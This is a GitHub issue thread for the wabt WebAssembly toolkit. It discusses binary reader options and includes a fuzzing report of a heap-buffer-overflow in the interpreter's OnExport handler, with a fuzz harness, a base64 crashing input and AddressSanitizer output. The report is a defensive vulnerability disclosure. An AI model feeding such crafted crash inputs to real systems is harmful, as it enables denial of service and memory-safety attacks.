Repository: WebAssembly/wabt

Issue #2537: Binary reader options and intended use cases
Created: 2025-02-04T18:16:13Z
Currently, we have the following binary reader options:
  Features features;
  Stream* log_stream = nullptr;
  bool read_debug_names = false;
  bool stop_on_first_error = true;
  bool fail_on_custom_section_error = true;
  bool skip_function_bodies = false;

Now, features and log_stream are... fairly universal, we wanna be able to select which post-MVP features to enable and disable and oftentimes also enable verbose logging.
However, it's another story with these other options. Most of these aren't available when running the provided tools, but API users can bring their own ReadBinaryOptions. In theory, this leads to use-cases like:

Emitting IR without function bodies. (#2534 / #2535)
Interpreting a module without function bodies.
Interpreting a module with errors.
Emitting IR with errors (this may well be useful to someone, but we don't officially support it).

among other, potentially questionable ideas. However, we would like to highlight one issue in particular, and it's that our interpreter is designed to be... pretty fast. It's not trying to be the fastest thing in the world, but it does little run-time checking, instead relying entirely on the SharedValidator to do its job. As such, it's a dangerous idea to run (maliciously crafted) broken modules in the interpreter.
Would it make sense to more strictly enforce that many of these options are purely for use with the objdump reader? Ofc, we can still support use-cases like those in #2534 / #2535, but we (Soni) don't believe the API should look like this.

Duplicate issue #2556: A Heap-based Buffer Overflow in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport
Created: 2025-03-06T07:33:28Z
Hi,
this is an issue found by fuzzing the current main branch.
Affected Projects
wabt v1.0.36 (https://github.com/WebAssembly/wabt)
Problem Type
CWE-122: Heap-based Buffer Overflow
Description
Details
A heap-buffer-overflow vulnerability arises in the wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport function defined in wabt/src/interp/binary-reader-interp.cc at line 693. This issue occurs when processing certain malformed files and calls the function FuncType::Clone() in the first case of the switch statement, leading to an out-of-bounds read and potential application crash, resulting in a read operation beyond the allocated memory.
Result BinaryReaderInterp::OnExport(Index index,
                                    ExternalKind kind,
                                    Index item_index,
                                    std::string_view name) {
  CHECK_RESULT(validator_.OnExport(GetLocation(), kind,
                                   Var(item_index, GetLocation()), name));

  std::unique_ptr<ExternType> type;
  switch (kind) {
    case ExternalKind::Func:   type = func_types_[item_index].Clone(); break;    //<== heap-buffer-overflow
    case ExternalKind::Table:  type = table_types_[item_index].Clone(); break;
    case ExternalKind::Memory: type = memory_types_[item_index].Clone(); break;
    case ExternalKind::Global: type = global_types_[item_index].Clone(); break;
    case ExternalKind::Tag:    type = tag_types_[item_index].Clone(); break;
  }
  module_.exports.push_back(
      ExportDesc{ExportType(std::string(name), std::move(type)), item_index});
  return Result::Ok;
}
PoC
Steps to reproduce:

Clone the wabt repository and build it using the following commands :

export CC='clang'
export CXX='clang++'
export CFLAGS='-fsanitize=address -g'
export CXXFLAGS='-fsanitize=address -g'

mkdir build
cd build
cmake ..
cmake --build . --parallel
cd ..

Compile fuzzer using a harness of oss-fuzz:


Harness

#include <cstddef>
#include <cstdint>

#include <fuzzer/FuzzedDataProvider.h>

#include "wabt/binary-reader.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"
#include "wabt/ir.h"
#include "wabt/option-parser.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  wabt::Errors errors;
  wabt::Features features;
  wabt::interp::ModuleDesc module;
  FuzzedDataProvider data_provider(data, size);

#define WABT_FEATURE(variable, flag, default_, help) \
  if (data_provider.ConsumeBool()) { features.enable_##variable(); }
#include "wabt/feature.def"
#undef WABT_FEATURE
  // Add only feature related options, but no logging, stop_on_first_error, etc.
  wabt::ReadBinaryOptions options(features, nullptr, false, false, false);
  std::vector<uint8_t> text = data_provider.ConsumeRemainingBytes<uint8_t>();
  ReadBinaryInterp("<fuzzer>", text.data(), text.size(), options, &errors,
                   &module);
  return 0;
}

Compile

clang++ -fsanitize=address,fuzzer -g -std=c++17 -I. -Ibuild -Iinclude -Ibuild/include read_binary_interp_fuzzer.cc ./build/libwabt.a -o read_binary_interp_fuzzer

Run the fuzzer to trigger the segmentation fault:

echo -n "AGFzbQEAAAABc2BgAABgAABgAAAAAEAeYJ5//2BgZAAAAAAeHgRgj2CCAw5kDg4vDiUODg5kDmQANQ5/fwAADh46YA4OYP5/IA4OggBAHg5kYA5gHn//AwAAAQBkHg4OHh4N7h4EXwMeYA4ODg4eYPwOHqAOYLoODh4eAw4ODg4ODg5/A4IOgA4OYA4ODh5gZBgeDh4AAACAHx5gHg5//38BAA4DHg4zDmAODg4DHg4AAGAAgAAA/wBgDoIOhgAeoWAADmAeAA4OAGBkDgQOAAAOAKFH/2QDdQAe/w6CDmQOHgAA/w4AAAAOAB4ODg6jDkcOAAMAGB4AA+hLAAcyDgkAAA8AAAAAAAAAAAQAAAEAAIAAAAACBQAAAAEAAAAAAAACAAAAAAQAABAAAAAAAAAAAAAAAAAODqMORw4AAAAAAAAAAAAAAABKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADg4ODg3vDiYPDg4ODg4ODg4AAAAAAAAAAAAAAB8AAAAODg4ABAAAAQAAgAACBQAAAAEAAAAAAAACAAADAwMDAwMDAwMDAwMDAwMeHgM=" | base64 -d > crash
./read_binary_interp_fuzzer ./crash
The invalid read access will cause AddressSanitizer to report a segmentation fault during the execution of the post-processing logic.
Report
Running: ./crash
=================================================================
==9892==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000000c0 at pc 0x5aa17433eb46 bp 0x7ffeca40f070 sp 0x7ffeca40f068
READ of size 8 at 0x60c0000000c0 thread T0
    #0 0x5aa17433eb45 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport(unsigned int, wabt::ExternalKind, unsigned int, std::basic_string_view<char, std::char_traits<char> >) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:693:63
    #1 0x5aa1744c2e61 in wabt::(anonymous namespace)::BinaryReader::ReadExportSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2778:5
    #2 0x5aa1744b54bf in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3033:26
    #3 0x5aa1744b2729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #4 0x5aa1744b1393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #5 0x5aa17433823c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #6 0x5aa1743109fc in LLVMFuzzerTestOneInput /fuzz/project/wabt/../read_binary_interp_fuzzer.cc:39:3
    #7 0x5aa1742364a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xf74a3) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #8 0x5aa17422021f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe121f) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #9 0x5aa174225f76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe6f76) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #10 0x5aa17424fd92 in main (/fuzz/project/wabt/read_binary_interp_fuzzer+0x110d92) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #11 0x7855505bbd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #12 0x7855505bbe3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #13 0x5aa17421aae4 in _start (/fuzz/project/wabt/read_binary_interp_fuzzer+0xdbae4) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)

0x60c0000000c0 is located 0 bytes to the right of 128-byte region [0x60c000000040,0x60c0000000c0)
allocated by thread T0 here:
    #0 0x5aa17430d8cd in operator new(unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0x1ce8cd) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #1 0x5aa17437b289 in __gnu_cxx::new_allocator<wabt::interp::FuncType>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/ext/new_allocator.h:127:27
    #2 0x5aa17437b210 in std::allocator_traits<std::allocator<wabt::interp::FuncType> >::allocate(std::allocator<wabt::interp::FuncType>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/alloc_traits.h:464:20
    #3 0x5aa17437af2f in std::_Vector_base<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:346:20
    #4 0x5aa174381f69 in void std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_realloc_insert<wabt::interp::FuncType const&>(__gnu_cxx::__normal_iterator<wabt::interp::FuncType*, std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> > >, wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/vector.tcc:440:33
    #5 0x5aa17437ff44 in std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::push_back(wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:1198:4
    #6 0x5aa17433c3c0 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnFunction(unsigned int, unsigned int) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:594:15
    #7 0x5aa1744bee00 in wabt::(anonymous namespace)::BinaryReader::ReadFunctionSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2701:5
    #8 0x5aa1744b4fd7 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3017:26
    #9 0x5aa1744b2729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #10 0x5aa1744b1393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #11 0x5aa17433823c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #12 0x5aa1743109fc in LLVMFuzzerTestOneInput /fuzz/project/wabt/../read_binary_interp_fuzzer.cc:39:3
    #13 0x5aa1742364a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xf74a3) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #14 0x5aa17422021f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe121f) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #15 0x5aa174225f76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe6f76) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #16 0x5aa17424fd92 in main (/fuzz/project/wabt/read_binary_interp_fuzzer+0x110d92) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #17 0x7855505bbd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /fuzz/project/wabt/src/interp/binary-reader-interp.cc:693:63 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport(unsigned int, wabt::ExternalKind, unsigned int, std::basic_string_view<char, std::char_traits<char> >)
Shadow bytes around the buggy address:
  0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff8010: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c187fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9892==ABORTING

Closing comment (2025-03-06T11:23:53Z): we believe this is a duplicate of #2537